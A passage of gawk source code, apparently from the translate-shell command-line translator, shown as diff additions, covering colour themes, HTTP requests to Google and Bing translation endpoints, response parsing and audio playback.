+case 4: return "cyan" +default: return "default" +} +} +function setRandomTheme( i, n, temp) { +srand(systime()) +for (i = 0; i < 3; i++) { +do temp = randomColor(); while (belongsTo(temp, n)) +n[i] = temp +} +Option["sgr-prompt-message"] = Option["sgr-languages"] = n[0] +Option["sgr-original-dictionary-detailed-word-class"][1] = n[0] +Option["sgr-original-dictionary-detailed-word-class"][2] = "bold" +Option["sgr-original-dictionary-synonyms"] = n[0] +Option["sgr-original-dictionary-synonyms-word-class"][1] = n[0] +Option["sgr-original-dictionary-synonyms-word-class"][2] = "bold" +Option["sgr-original-dictionary-examples"] = n[0] +Option["sgr-original-dictionary-see-also"] = n[0] +Option["sgr-dictionary-word-class"][1] = n[0] +Option["sgr-dictionary-word-class"][2] = "bold" +Option["sgr-original"][1] = Option["sgr-original-phonetics"][1] = n[1] +Option["sgr-original"][2] = Option["sgr-original-phonetics"][2] = "bold" +Option["sgr-prompt-message-original"][1] = n[1] +Option["sgr-prompt-message-original"][2] = "bold" +Option["sgr-languages-sl"] = n[1] +Option["sgr-original-dictionary-detailed-explanation"][1] = n[1] +Option["sgr-original-dictionary-detailed-explanation"][2] = "bold" +Option["sgr-original-dictionary-detailed-example"] = n[1] +Option["sgr-original-dictionary-detailed-synonyms"] = n[1] +Option["sgr-original-dictionary-detailed-synonyms-item"][1] = n[1] +Option["sgr-original-dictionary-detailed-synonyms-item"][2] = "bold" +Option["sgr-original-dictionary-synonyms-synonyms"] = n[1] +Option["sgr-original-dictionary-synonyms-synonyms-item"][1] = n[1] +Option["sgr-original-dictionary-synonyms-synonyms-item"][2] = "bold" +Option["sgr-original-dictionary-examples-example"] = n[1] +Option["sgr-original-dictionary-examples-original"][1] = n[1] +Option["sgr-original-dictionary-examples-original"][2] = "bold" +Option["sgr-original-dictionary-examples-original"][3] = "underline" +Option["sgr-original-dictionary-see-also-phrases"] = n[1] +Option["sgr-original-dictionary-see-also-phrases-item"][1] = n[1] +Option["sgr-original-dictionary-see-also-phrases-item"][2] = "bold" +Option["sgr-dictionary-explanation"] = n[1] +Option["sgr-dictionary-explanation-item"][1] = n[1] +Option["sgr-dictionary-explanation-item"][2] = "bold" +Option["sgr-alternatives-original"][1] = n[1] +Option["sgr-alternatives-original"][2] = "bold" +Option["sgr-translation"][1] = Option["sgr-translation-phonetics"][1] = n[2] +Option["sgr-translation"][2] = Option["sgr-translation-phonetics"][2] = "bold" +Option["sgr-languages-tl"] = n[2] +Option["sgr-dictionary-word"][1] = n[2] +Option["sgr-dictionary-word"][2] = "bold" +Option["sgr-alternatives-translations"] = n[2] +Option["sgr-alternatives-translations-item"][1] = n[2] +Option["sgr-alternatives-translations-item"][2] = "bold" +Option["sgr-brief-translation"][1] = Option["sgr-brief-translation-phonetics"][1] = n[2] +Option["sgr-brief-translation"][2] = Option["sgr-brief-translation-phonetics"][2] = "bold" +Option["fmt-welcome-message"] = Name +Option["sgr-welcome-message"][1] = n[0] +Option["sgr-welcome-message"][2] = "bold" +Option["fmt-welcome-submessage"] = "(:q to quit)" +Option["sgr-welcome-submessage"] = n[0] +Option["fmt-prompt"] = "%s> " +Option["sgr-prompt"][1] = n[1] +Option["sgr-prompt"][2] = "bold" +} +function setDefaultTheme() { +Option["sgr-translation"] = Option["sgr-translation-phonetics"] = "bold" +Option["sgr-prompt-message-original"] = "underline" +Option["sgr-languages-sl"] = "underline" +Option["sgr-languages-tl"] = "bold" +Option["sgr-original-dictionary-detailed-explanation"] = "bold" +Option["sgr-original-dictionary-detailed-synonyms-item"] = "bold" +Option["sgr-original-dictionary-synonyms-synonyms-item"] = "bold" +Option["sgr-original-dictionary-examples-original"][1] = "bold" +Option["sgr-original-dictionary-examples-original"][2] = "underline" +Option["sgr-original-dictionary-see-also-phrases-item"] = "bold" +Option["sgr-dictionary-word"] = "bold" +Option["sgr-alternatives-original"] = "underline" +Option["sgr-alternatives-translations-item"] = "bold" +Option["fmt-welcome-message"] = Name +Option["sgr-welcome-message"] = "bold" +Option["fmt-welcome-submessage"] = "(:q to quit)" +Option["fmt-prompt"] = "%s> " +Option["sgr-prompt"] = "bold" +} +function setTheme( file, line, script) { +if (Option["theme"] && Option["theme"] != "default"\ +&& Option["theme"] != "none" && Option["theme"] != "random") { +file = Option["theme"] +if (!fileExists(file)) { +file = ENVIRON["HOME"] "/.translate-shell/" Option["theme"] +if (!fileExists(file)) { +file = ENVIRON["HOME"] "/.config/translate-shell/" Option["theme"] +if (!fileExists(file)) return +} +} +} +if (file && fileExists(file)) { +script = NULLSTR +while (getline line < file) +script = script "\n" line +loadOptions(script) +} else if (Option["theme"] == "none") +; +else if (Option["theme"] == "random") +setRandomTheme() +else +setDefaultTheme() +} +function provides(engineName) { +Translator[tolower(engineName)] = TRUE +} +function engineMethod(methodName, engine, translator) { +if (!Translator[Option["engine"]]) { +engine = tolower(Option["engine"]) +if (!Translator[engine]) +for (translator in Translator) +if (Translator[translator] && +translator ~ "^"engine) { +engine = translator +break +} +if (!Translator[engine]) { +e("[ERROR] Translator not found: " Option["engine"] "\n"\ +" Run '-list-engines / -S' to see a list of available engines.") +exit 1 +} +Option["engine"] = engine +} +return Option["engine"] methodName +} +function initAudioPlayer() { +AudioPlayer = !system("mpv" SUPOUT SUPERR) ? +"mpv --loop-file=no" : +(!system("mplayer" SUPOUT SUPERR) ? +"mplayer" : +(!system("mpg123 --version" SUPOUT SUPERR) ? +"mpg123" : +"")) +} +function initSpeechSynthesizer() { +SpeechSynthesizer = !system("say ''" SUPOUT SUPERR) ? +"say" : +(!system("espeak ''" SUPOUT SUPERR) ? +"espeak" : +"") +} +function initPager() { +Pager = !system("less -V" SUPOUT SUPERR) ? +"less" : +(!system("more -V" SUPOUT SUPERR) ? +"more" : +(!system("most" SUPOUT SUPERR) ? +"most" : +"")) +} +function initHttpService() { +_Init() +if (Option["proxy"]) { +match(Option["proxy"], /^(http:\/*)?(([^:]+):([^@]+)@)?([^\/]*):([^\/:]*)/, HttpProxySpec) +HttpAuthUser = HttpProxySpec[3] +HttpAuthPass = HttpProxySpec[4] +HttpAuthCredentials = base64(unquote(HttpAuthUser) ":" HttpAuthPass) +HttpService = "/inet/tcp/0/" HttpProxySpec[5] "/" HttpProxySpec[6] +HttpPathPrefix = HttpProtocol HttpHost +} else { +HttpService = "/inet/tcp/0/" HttpHost "/" HttpPort +HttpPathPrefix = "" +} +} +function preprocess(text) { +return quote(text) +} +function postprocess(text) { +text = gensub(/ ([.,;:?!"])/, "\\1", "g", text) +text = gensub(/(["]) /, "\\1", "g", text) +return text +} +function getResponse(text, sl, tl, hl, +content, header, isBody, url, group, status, location) { +url = _RequestUrl(text, sl, tl, hl) +header = "GET " url " HTTP/1.1\r\n"\ +"Host: " HttpHost "\r\n"\ +"Connection: close\r\n" +if (Option["user-agent"]) +header = header "User-Agent: " Option["user-agent"] "\r\n" +if (Cookie) +header = header "Cookie: " Cookie "\r\n" +if (HttpAuthUser && HttpAuthPass) +header = header "Proxy-Authorization: Basic " HttpAuthCredentials "\r\n" +content = NULLSTR; isBody = 0 +print header |& HttpService +while ((HttpService |& getline) > 0) { +if (isBody) +content = content ? content "\r\n" $0 : $0 +else if (length($0) <= 1) +isBody = 1 +else { +match($0, /^HTTP[^ ]* ([^ ]*)/, group) +if (RSTART) status = group[1] +match($0, /^Location: (.*)/, group) +if (RSTART) location = squeeze(group[1]) +} +l(sprintf("%4s bytes > %s", length($0), $0)) +} +close(HttpService) +if ((status == "301" || status == "302") && location) +content = curl(location) +return assert(content, "[ERROR] Null response.") +} +function postResponse(text, sl, tl, hl, type, +content, contentLength, contentType, group, +header, isBody, reqBody, url, status, location) { +url = _PostRequestUrl(text, sl, tl, hl, type) +contentType = _PostRequestContentType(text, sl, tl, hl, type) +reqBody = _PostRequestBody(text, sl, tl, hl, type) +if (DumpContentengths[reqBody]) +contentLength = DumpContentengths[reqBody] +else +contentLength = DumpContentengths[reqBody] = dump(reqBody, group) +header = "POST " url " HTTP/1.1\r\n"\ +"Host: " HttpHost "\r\n"\ +"Connection: close\r\n"\ +"Content-Length: " contentLength "\r\n"\ +"Content-Type: " contentType "\r\n" +if (Option["user-agent"]) +header = header "User-Agent: " Option["user-agent"] "\r\n" +if (Cookie) +header = header "Cookie: " Cookie "\r\n" +if (HttpAuthUser && HttpAuthPass) +header = header "Proxy-Authorization: Basic " HttpAuthCredentials "\r\n" +content = NULLSTR; isBody = 0 +print (header "\r\n" reqBody) |& HttpService +while ((HttpService |& getline) > 0) { +if (isBody) +content = content ? content "\r\n" $0 : $0 +else if (length($0) <= 1) +isBody = 1 +else { +match($0, /^HTTP[^ ]* ([^ ]*)/, group) +if (RSTART) status = group[1] +match($0, /^Location: (.*)/, group) +if (RSTART) location = squeeze(group[1]) +} +l(sprintf("%4s bytes > %s", length($0), $0)) +} +close(HttpService) +if (status == "404") { +e("[ERROR] 404 Not Found") +exit 1 +} +if ((status == "301" || status == "302") && location) { +url = "https" substr(url, 5) +content = curlPost(url, reqBody) +} +return content +} +function p(string) { +if (Option["view"]) +print string | Option["pager"] +else +print string > Option["output"] +} +function play(text, tl, url) { +url = _TTSUrl(text, tl) +system(Option["player"] " " parameterize(url) SUPOUT SUPERR) +} +function download_audio(text, tl, url, output) { +url = _TTSUrl(text, tl) +if (Option["download-audio-as"]) +output = Option["download-audio-as"] +else +output = text " [" Option["engine"] "] (" Option["narrator"] ").ts" +if (url ~ /^\//) +system("mv -- " parameterize(url) " " parameterize(output)) +else +curl(url, output) +} +function getTranslation(text, sl, tl, hl, +isVerbose, toSpeech, returnPlaylist, returnIl) { +return _Translate(text, sl, tl, hl, +isVerbose, toSpeech, returnPlaylist, returnIl) +} +function fileTranslation(uri, group, temp1, temp2) { +temp1 = Option["input"] +temp2 = Option["verbose"] +match(uri, /^file:\/\/(.*)/, group) +Option["input"] = group[1] +Option["verbose"] = 0 +translateMain() +Option["input"] = temp1 +Option["verbose"] = temp2 +} +function webTranslation(uri, sl, tl, hl) { +system(Option["browser"] " "\ +parameterize(_WebTranslateUrl(uri, sl, tl, hl)) "&") +} +function translate(text, inline, +i, j, playlist, il, saveSortedIn) { +if (!getCode(Option["hl"])) { +w("[WARNING] Unknown language code: " Option["hl"] ", fallback to English: en") +Option["hl"] = "en" +} else if (isRTL(Option["hl"])) { +if (!FriBidi) +w("[WARNING] " getName(Option["hl"]) " is a right-to-left language, but FriBidi is not found.") +} +if (!getCode(Option["sl"])) { +w("[WARNING] Unknown source language code: " Option["sl"]) +} else if (isRTL(Option["sl"])) { +if (!FriBidi) +w("[WARNING] " getName(Option["sl"]) " is a right-to-left language, but FriBidi is not found.") +} +saveSortedIn = PROCINFO["sorted_in"] +PROCINFO["sorted_in"] = "@ind_num_asc" +for (i in Option["tl"]) { +if (!Option["interactive"]) +if (Option["verbose"] && i > 1) +p(prettify("target-seperator", replicate(Option["chr-target-seperator"], Option["width"]))) +if (inline && +startsWithAny(text, UriSchemes) == "file://") { +fileTranslation(text) +} else if (inline && +startsWithAny(text, UriSchemes) == "http://" || +startsWithAny(text, UriSchemes) == "https://") { +webTranslation(text, Option["sl"], Option["tl"][i], Option["hl"]) +} else { +if (!Option["no-translate"]) +p(getTranslation(text, Option["sl"], Option["tl"][i], Option["hl"], Option["verbose"], Option["play"] || Option["download-audio"], playlist, il)) +else +il[0] = Option["sl"] == "auto" ? "en" : Option["sl"] +if (Option["play"] == 1) { +if (Option["player"]) +for (j in playlist) +play(playlist[j]["text"], playlist[j]["tl"]) +else if (SpeechSynthesizer) +for (j in playlist) +print playlist[j]["text"] | SpeechSynthesizer +} else if (Option["play"] == 2) { +if (Option["player"]) +play(text, il[0]) +else if (SpeechSynthesizer) +print text | SpeechSynthesizer +} +if (Option["download-audio"] == 1) { +if (Option["play"] != 2 && !Option["no-translate"]) +download_audio(playlist[length(playlist) - 1]["text"],\ +playlist[length(playlist) - 1]["tl"]) +else +download_audio(text, il[0]) +} +} +} +PROCINFO["sorted_in"] = saveSortedIn +} +function translateMain( i, line) { +if (Option["interactive"]) +prompt() +if (Option["input"] == STDIN || fileExists(Option["input"])) { +i = 0 +while (getline line < Option["input"]) +if (line) { +if (!Option["interactive"]) +if (Option["verbose"] && i++ > 0) +p(prettify("source-seperator", +replicate(Option["chr-source-seperator"], +Option["width"]))) +if (Option["interactive"]) +repl(line) +else +translate(line) +} else { +if (!Option["interactive"]) +if (!Option["verbose"]) +p(line) +} +} else +e("[ERROR] File not found: " Option["input"]) +} +function _Init( vm) { +vm = engineMethod("Init") +return @vm() +} +function _RequestUrl(text, sl, tl, hl, vm) { +vm = engineMethod("RequestUrl") +return @vm(text, sl, tl, hl) +} +function _PostRequestUrl(text, sl, tl, hl, type, vm) { +vm = engineMethod("PostRequestUrl") +return @vm(text, sl, tl, hl, type) +} +function _PostRequestContentType(text, sl, tl, hl, type, vm) { +vm = engineMethod("PostRequestContentType") +return @vm(text, sl, tl, hl, type) +} +function _PostRequestBody(text, sl, tl, hl, type, vm) { +vm = engineMethod("PostRequestBody") +return @vm(text, sl, tl, hl, type) +} +function _TTSUrl(text, tl, vm) { +vm = engineMethod("TTSUrl") +return @vm(text, tl) +} +function _WebTranslateUrl(uri, sl, tl, hl, vm) { +vm = engineMethod("WebTranslateUrl") +return @vm(uri, sl, tl, hl) +} +function _Translate(text, sl, tl, hl, +isVerbose, toSpeech, returnPlaylist, returnIl, +vm) { +vm = engineMethod("Translate") +return @vm(text, sl, tl, hl, +isVerbose, toSpeech, returnPlaylist, returnIl) +} +BEGIN { provides("google") } +function genRL(a, x, +b, c, d, i, y) { +tokenize(y, x) +parseList(b, y) +i = SUBSEP 0 +for (c = 0; c < length(b[i]) - 2; c += 3) { +d = b[i][c + 2] +d = d >= 97 ? d - 87 : +d - 48 +d = b[i][c + 1] == 43 ? rshift(a, d) : lshift(a, d) +a = b[i][c] == 43 ? and(a + d, 4294967295) : xor(a, d) +} +return a +} +function genTK(text, +a, d, dLen, e, tkk, ub, vb) { +if (TK[text]) return TK[text] +tkk = systime() / 3600 +ub = "[43,45,51,94,43,98,43,45,102]" +vb = "[43,45,97,94,43,54]" +dLen = dump(text, d) +a = tkk +for (e = 1; e <= dLen; e++) +a = genRL(a + d[e], vb) +a = genRL(a, ub) +0 > a && (a = and(a, 2147483647) + 2147483648) +a %= 1e6 +TK[text] = a "." xor(a, tkk) +l(text, "text") +l(tkk, "tkk") +l(TK[text], "tk") +return TK[text] +} +function googleInit() { +HttpProtocol = "http://" +HttpHost = "translate.googleapis.com" +HttpPort = 80 +} +function googleRequestUrl(text, sl, tl, hl, qc) { +qc = Option["no-autocorrect"] ? "qc" : "qca"; +return HttpPathPrefix "/translate_a/single?client=gtx"\ +"&ie=UTF-8&oe=UTF-8"\ +"&dt=bd&dt=ex&dt=ld&dt=md&dt=rw&dt=rm&dt=ss&dt=t&dt=at"\ +"&dt=" qc "&sl=" sl "&tl=" tl "&hl=" hl\ +"&q=" preprocess(text) +} +function googleTTSUrl(text, tl) { +return HttpProtocol HttpHost "/translate_tts?ie=UTF-8&client=gtx"\ +"&tl=" tl "&q=" preprocess(text) +} +function googleWebTranslateUrl(uri, sl, tl, hl) { +return "https://translate.google.com/translate?"\ +"hl=" hl "&sl=" sl "&tl=" tl "&u=" uri +} +function googleTranslate(text, sl, tl, hl, +isVerbose, toSpeech, returnPlaylist, returnIl, +r, +content, tokens, ast, +_sl, _tl, _hl, il, ils, isPhonetic, +article, example, explanation, ref, word, +translation, translations, phonetics, +wordClasses, words, segments, altTranslations, +original, oPhonetics, oWordClasses, oWords, +oRefs, oSynonymClasses, oSynonyms, +oExamples, oSeeAlso, +wShowOriginal, wShowOriginalPhonetics, +wShowTranslation, wShowTranslationPhonetics, +wShowPromptMessage, wShowLanguages, +wShowOriginalDictionary, wShowDictionary, +wShowAlternatives, +hasWordClasses, hasAltTranslations, +i, j, k, group, temp, saveSortedIn) { +isPhonetic = match(tl, /^@/) +tl = substr(tl, 1 + isPhonetic) +if (!getCode(tl)) { +w("[WARNING] Unknown target language code: " tl) +} else if (isRTL(tl)) { +if (!FriBidi) +w("[WARNING] " getName(tl) " is a right-to-left language, but FriBidi is not found.") +} +_sl = getCode(sl); if (!_sl) _sl = sl +_tl = getCode(tl); if (!_tl) _tl = tl +_hl = getCode(hl); if (!_hl) _hl = hl +content = getResponse(text, _sl, _tl, _hl) +if (Option["dump"]) +return content +tokenize(tokens, content) +parseJsonArray(ast, tokens) +l(content, "content", 1, 1) +l(tokens, "tokens", 1, 0, 1) +l(ast, "ast") +if (!isarray(ast) || !anything(ast)) { +e("[ERROR] Oops! Something went wrong and I can't translate it for you :(") +ExitCode = 1 +return +} +saveSortedIn = PROCINFO["sorted_in"] +PROCINFO["sorted_in"] = "compareByIndexFields" +for (i in ast) { +if (ast[i] == "null") continue +if (i ~ "^0" SUBSEP "0" SUBSEP "[[:digit:]]+" SUBSEP "0$") +append(translations, literal(ast[i])) +if (i ~ "^0" SUBSEP "0" SUBSEP "[[:digit:]]+" SUBSEP "1$") +append(original, literal(ast[i])) +if (i ~ "^0" SUBSEP "0" SUBSEP "[[:digit:]]+" SUBSEP "2$") +append(phonetics, literal(ast[i])) +if (i ~ "^0" SUBSEP "0" SUBSEP "[[:digit:]]+" SUBSEP "3$") +append(oPhonetics, literal(ast[i])) +if (match(i, "^0" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "0$", group)) +wordClasses[group[1]] = literal(ast[i]) +if (match(i, "^0" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "2" SUBSEP "([[:digit:]]+)" SUBSEP "([[:digit:]]+)$", group)) +words[group[1]][group[2]][group[3]] = literal(ast[i]) +if (match(i, "^0" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "2" SUBSEP "([[:digit:]]+)" SUBSEP "1" SUBSEP "([[:digit:]]+)$", group)) +words[group[1]][group[2]]["1"][group[3]] = literal(ast[i]) +if (match(i, "^0" SUBSEP "5" SUBSEP "([[:digit:]]+)" SUBSEP "0$", group)) { +segments[group[1]] = literal(ast[i]) +altTranslations[group[1]][0] = "" +} +if (match(i, "^0" SUBSEP "5" SUBSEP "([[:digit:]]+)" SUBSEP "2" SUBSEP "([[:digit:]]+)" SUBSEP "0$", group)) +altTranslations[group[1]][group[2]] = literal(ast[i]) +if (i ~ "^0" SUBSEP "7" SUBSEP "5$") { +if (ast[i] == "true") +w("Showing translation for: (use -no-auto to disable autocorrect)") +else +w("Did you mean: "\ +ansi("bold", unparameterize(ast["0" SUBSEP "7" SUBSEP "1"]))) +} +if (i ~ "^0" SUBSEP "8" SUBSEP "0" SUBSEP "[[:digit:]]+$" || +i ~ "^0" SUBSEP "2$") +append(ils, literal(ast[i])) +if (match(i, "^0" SUBSEP "11" SUBSEP "([[:digit:]]+)" SUBSEP "0$", group)) +oSynonymClasses[group[1]] = literal(ast[i]) +if (match(i, "^0" SUBSEP "11" SUBSEP "([[:digit:]]+)" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "1$", group)) +if (ast[i]) { +oRefs[literal(ast[i])][1] = group[1] +oRefs[literal(ast[i])][2] = group[2] +} +if (match(i, "^0" SUBSEP "11" SUBSEP "([[:digit:]]+)" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "0" SUBSEP "([[:digit:]]+)$", group)) +oSynonyms[group[1]][group[2]][group[3]] = literal(ast[i]) +if (match(i, "^0" SUBSEP "12" SUBSEP "([[:digit:]]+)" SUBSEP "0$", group)) +oWordClasses[group[1]] = literal(ast[i]) +if (match(i, "^0" SUBSEP "12" SUBSEP "([[:digit:]]+)" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "0$", group)) +oWords[group[1]][group[2]][0] = literal(ast[i]) +if (match(i, "^0" SUBSEP "12" SUBSEP "([[:digit:]]+)" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "1$", group)) +oWords[group[1]][group[2]][1] = literal(ast[i]) +if (match(i, "^0" SUBSEP "12" SUBSEP "([[:digit:]]+)" SUBSEP "1" SUBSEP "([[:digit:]]+)" SUBSEP "2$", group)) +oWords[group[1]][group[2]][2] = literal(ast[i]) +if (match(i, "^0" SUBSEP "13" SUBSEP "0" SUBSEP "([[:digit:]]+)" SUBSEP "0$", group)) +oExamples[group[1]] = literal(ast[i]) +if (match(i, "^0" SUBSEP "14" SUBSEP "0" SUBSEP "([[:digit:]]+)$", group)) +oSeeAlso[group[1]] = literal(ast[i]) +} +PROCINFO["sorted_in"] = saveSortedIn +translation = join(translations) +returnIl[0] = il = !anything(ils) || belongsTo(sl, ils) ? sl : ils[0] +if (Option["verbose"] < -1) +return il +else if (Option["verbose"] < 0) +return getList(il) +if (!isVerbose) { +r = isPhonetic && anything(phonetics) ? +prettify("brief-translation-phonetics", join(phonetics, " ")) : +prettify("brief-translation", s(translation, tl)) +if (toSpeech) { +returnPlaylist[0]["text"] = translation +returnPlaylist[0]["tl"] = tl +} +} else { +wShowOriginal = Option["show-original"] +wShowOriginalPhonetics = Option["show-original-phonetics"] +wShowTranslation = Option["show-translation"] +wShowTranslationPhonetics = Option["show-translation-phonetics"] +wShowPromptMessage = Option["show-prompt-message"] +wShowLanguages = Option["show-languages"] +wShowOriginalDictionary = Option["show-original-dictionary"] +wShowDictionary = Option["show-dictionary"] +wShowAlternatives = Option["show-alternatives"] +if (!anything(oPhonetics)) wShowOriginalPhonetics = 0 +if (!anything(phonetics)) wShowTranslationPhonetics = 0 +if (getCode(il) == getCode(tl) &&\ +(isarray(oWordClasses) || isarray(oSynonymClasses) ||\ +isarray(oExamples) || isarray(oSeeAlso))) { +wShowOriginalDictionary = 1 +wShowTranslation = 0 +} +hasWordClasses = exists(wordClasses) +hasAltTranslations = exists(altTranslations[0]) +if (!hasWordClasses && !hasAltTranslations) +wShowPromptMessage = wShowLanguages = 0 +if (!hasWordClasses) wShowDictionary = 0 +if (!hasAltTranslations) wShowAlternatives = 0 +if (wShowOriginal) { +if (r) r = r RS RS +r = r m("-- display original text & phonetics") +r = r prettify("original", s(join(original, " "), il)) +if (wShowOriginalPhonetics) +r = r RS prettify("original-phonetics", showPhonetics(join(oPhonetics, " "), il)) +} +if (wShowTranslation) { +if (r) r = r RS RS +r = r m("-- display major translation & phonetics") +r = r prettify("translation", s(translation, tl)) +if (wShowTranslationPhonetics) +r = r RS prettify("translation-phonetics", showPhonetics(join(phonetics, " "), tl)) +} +if (wShowPromptMessage || wShowLanguages) +if (r) r = r RS +if (wShowPromptMessage) { +if (hasWordClasses) { +if (r) r = r RS +r = r m("-- display prompt message (Definitions of ...)") +if (isRTL(hl)) +r = r prettify("prompt-message", s(showDefinitionsOf(hl, join(original, " ")))) +else { +split(showDefinitionsOf(hl, "\0%s\0"), group, "\0") +for (i = 1; i <= length(group); i++) { +if (group[i] == "%s") +r = r prettify("prompt-message-original", show(join(original, " "), il)) +else +r = r prettify("prompt-message", group[i]) +} +} +} else if (hasAltTranslations) { +if (r) r = r RS +r = r m("-- display prompt message (Translations of ...)") +if (isRTL(hl)) +r = r prettify("prompt-message", s(showTranslationsOf(hl, join(original, " ")))) +else { +split(showTranslationsOf(hl, "\0%s\0"), group, "\0") +for (i = 1; i <= length(group); i++) { +if (group[i] == "%s") +r = r prettify("prompt-message-original", show(join(original, " "), il)) +else +r = r prettify("prompt-message", group[i]) +} +} +} +} +if (wShowLanguages) { +if (r) r = r RS +r = r m("-- display source language -> target language") +temp = Option["fmt-languages"] +if (!temp) temp = "[ %s -> %t ]" +split(temp, group, /(%s|%S|%t|%T)/) +r = r prettify("languages", group[1]) +if (temp ~ /%s/) +r = r prettify("languages-sl", getDisplay(il)) +if (temp ~ /%S/) +r = r prettify("languages-sl", getName(il)) +r = r prettify("languages", group[2]) +if (temp ~ /%t/) +r = r prettify("languages-tl", getDisplay(tl)) +if (temp ~ /%T/) +r = r prettify("languages-tl", getName(tl)) +r = r prettify("languages", group[3]) +} +if (wShowOriginalDictionary) { +if (exists(oWordClasses)) { +if (r) r = r RS +r = r m("-- display original dictionary (detailed explanations)") +for (i = 0; i < length(oWordClasses); i++) { +r = (i > 0 ? r RS : r) RS prettify("original-dictionary-detailed-word-class", s(oWordClasses[i], hl)) +for (j = 0; j < length(oWords[i]); j++) { +explanation = oWords[i][j][0] +ref = oWords[i][j][1] +example = oWords[i][j][2] +r = (j > 0 ? r RS : r) RS prettify("original-dictionary-detailed-explanation", ins(1, explanation, il)) +if (example) +r = r RS prettify("original-dictionary-detailed-example", ins(2, "- \"" example "\"", il)) +if (ref && isarray(oRefs[ref])) { +temp = prettify("original-dictionary-detailed-synonyms", ins(1, show(showSynonyms(hl), hl) ": ")) +temp = temp prettify("original-dictionary-detailed-synonyms-item", show(oSynonyms[oRefs[ref][1]][oRefs[ref][2]][0], il)) +for (k = 1; k < length(oSynonyms[oRefs[ref][1]][oRefs[ref][2]]); k++) +temp = temp prettify("original-dictionary-detailed-synonyms", ", ")\ +prettify("original-dictionary-detailed-synonyms-item", show(oSynonyms[oRefs[ref][1]][oRefs[ref][2]][k], il)) +r = r RS temp +} +} +} +} +if (exists(oSynonymClasses)) { +r = r RS RS +r = r m("-- display original dictionary (synonyms)") +r = r prettify("original-dictionary-synonyms", s(showSynonyms(hl), hl)) +for (i = 0; i < length(oSynonymClasses); i++) { +r = (i > 0 ? r RS : r) RS prettify("original-dictionary-synonyms-word-class", ins(1, oSynonymClasses[i], hl)) +for (j = 0; j < length(oSynonyms[i]); j++) { +temp = prettify("original-dictionary-synonyms-synonyms", ins(2, "- ")) +temp = temp prettify("original-dictionary-synonyms-synonyms-item", show(oSynonyms[i][j][0], il)) +for (k = 1; k < length(oSynonyms[i][j]); k++) +temp = temp prettify("original-dictionary-synonyms-synonyms", ", ")\ +prettify("original-dictionary-synonyms-synonyms-item", show(oSynonyms[i][j][k], il)) +r = r RS temp +} +} +} +if (exists(oExamples)) { +r = r RS RS +r = r m("-- display original dictionary (examples)") +r = r prettify("original-dictionary-examples", s(showExamples(hl), hl)) +for (i = 0; i < length(oExamples); i++) { +example = oExamples[i] +temp = prettify("original-dictionary-examples-example", ins(1, "- ")) +split(example, group, /(|<\/b>)/) +if (group[3] ~ / [[:punct:].]/) +group[3] = substr(group[3], 2) +if (isRTL(il)) +temp = temp show(group[1] group[2] group[3], il) +else +temp = temp prettify("original-dictionary-examples-example", group[1])\ +prettify("original-dictionary-examples-original", group[2])\ +prettify("original-dictionary-examples-example", group[3]) +r = (i > 0 ? r RS : r) RS temp +} +} +if (exists(oSeeAlso)) { +r = r RS RS +r = r m("-- display original dictionary (see also)") +r = r prettify("original-dictionary-see-also", s(showSeeAlso(hl), hl)) +temp = ins(1, prettify("original-dictionary-see-also-phrases-item", show(oSeeAlso[0], il))) +for (k = 1; k < length(oSeeAlso); k++) +temp = temp prettify("original-dictionary-see-also-phrases", ", ")\ +prettify("original-dictionary-see-also-phrases-item", show(oSeeAlso[k], il)) +r = r RS temp +} +} +if (wShowDictionary) { +if (r) r = r RS +r = r m("-- display dictionary entries") +for (i = 0; i < length(wordClasses); i++) { +r = (i > 0 ? r RS : r) RS prettify("dictionary-word-class", s(wordClasses[i], hl)) +for (j = 0; j < length(words[i]); j++) { +word = words[i][j][0] +article = words[i][j][4] +if (isRTL(il)) +explanation = join(words[i][j][1], ", ") +else { +explanation = prettify("dictionary-explanation-item", words[i][j][1][0]) +for (k = 1; k < length(words[i][j][1]); k++) +explanation = explanation prettify("dictionary-explanation", ", ")\ +prettify("dictionary-explanation-item", words[i][j][1][k]) +} +r = r RS prettify("dictionary-word", ins(1, (article ? "(" article ") " : "") word, tl)) +if (isRTL(il)) +r = r RS prettify("dictionary-explanation-item", ins(2, explanation, il)) +else +r = r RS ins(2, explanation) +} +} +} +if (wShowAlternatives) { +if (r) r = r RS RS +r = r m("-- display alternative translations") +for (i = 0; i < length(altTranslations); i++) { +r = (i > 0 ? r RS : r) prettify("alternatives-original", show(segments[i], il)) +if (isRTL(tl)) { +temp = join(altTranslations[i], ", ") +r = r RS prettify("alternatives-translations-item", ins(1, temp, tl)) +} else { +temp = prettify("alternatives-translations-item", altTranslations[i][0]) +for (j = 1; j < length(altTranslations[i]); j++) +temp = temp prettify("alternatives-translations", ", ")\ +prettify("alternatives-translations-item", altTranslations[i][j]) +r = r RS ins(1, temp) +} +} +} +if (toSpeech) { +if (index(showTranslationsOf(hl, "%s"), "%s") > 2) { +returnPlaylist[0]["text"] = showTranslationsOf(hl) +returnPlaylist[0]["tl"] = hl +returnPlaylist[1]["text"] = join(original) +returnPlaylist[1]["tl"] = il +} else { +returnPlaylist[0]["text"] = join(original) +returnPlaylist[0]["tl"] = il +returnPlaylist[1]["text"] = showTranslationsOf(hl) +returnPlaylist[1]["tl"] = hl +} +returnPlaylist[2]["text"] = translation +returnPlaylist[2]["tl"] = tl +} +} +return r +} +BEGIN { provides("bing") } +function bingInit() { +HttpProtocol = "http://" +HttpHost = "www.bing.com" +HttpPort = 80 +} +function bingSetIG( content, cookie, group, header, isBody, +url, status, location) { +url = HttpPathPrefix "/translator" +header = "GET " url " HTTP/1.1\r\n"\ +"Host: " HttpHost "\r\n"\ +"Connection: close\r\n" +if (Option["user-agent"]) +header = header "User-Agent: " Option["user-agent"] "\r\n" +cookie = NULLSTR +print header |& HttpService +while ((HttpService |& getline) > 0) { +match($0, /Set-Cookie: ([^;]*);/, group) +if (group[1]) { +cookie = cookie (cookie ? "; " : NULLSTR) group[1] +} +if (isBody) +content = content ? content "\r\n" $0 : $0 +else if (length($0) <= 1) +isBody = 1 +else { +match($0, /^HTTP[^ ]* ([^ ]*)/, group) +if (RSTART) status = group[1] +match($0, /^Location: (.*)/, group) +if (RSTART) location = squeeze(group[1]) +} 